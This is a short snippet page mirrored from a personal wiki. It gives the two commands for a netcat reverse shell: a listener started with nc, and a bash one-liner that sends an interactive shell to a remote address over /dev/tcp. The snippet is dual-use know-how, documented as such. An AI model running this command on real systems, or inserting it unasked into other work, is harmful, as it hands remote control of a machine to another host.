mirror of
https://gitlab.com/octtspacc/OcttKB
synced 2025-01-24 03:31:05 +01:00
17 lines
259 B
Plaintext
17 lines
259 B
Plaintext
created: 20220926095309988
|
|
modified: 20230206111552227
|
|
modifier: Octt
|
|
tags: Snippets $:/i18n:en
|
|
title: netcat/Reverse Shell
|
|
|
|
0. Run on master (requires netcat):
|
|
|
|
```sh
|
|
nc -l -vv -p $PORT
|
|
```
|
|
|
|
1. Run on slave:
|
|
|
|
```sh
|
|
bash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1
|
|
``` |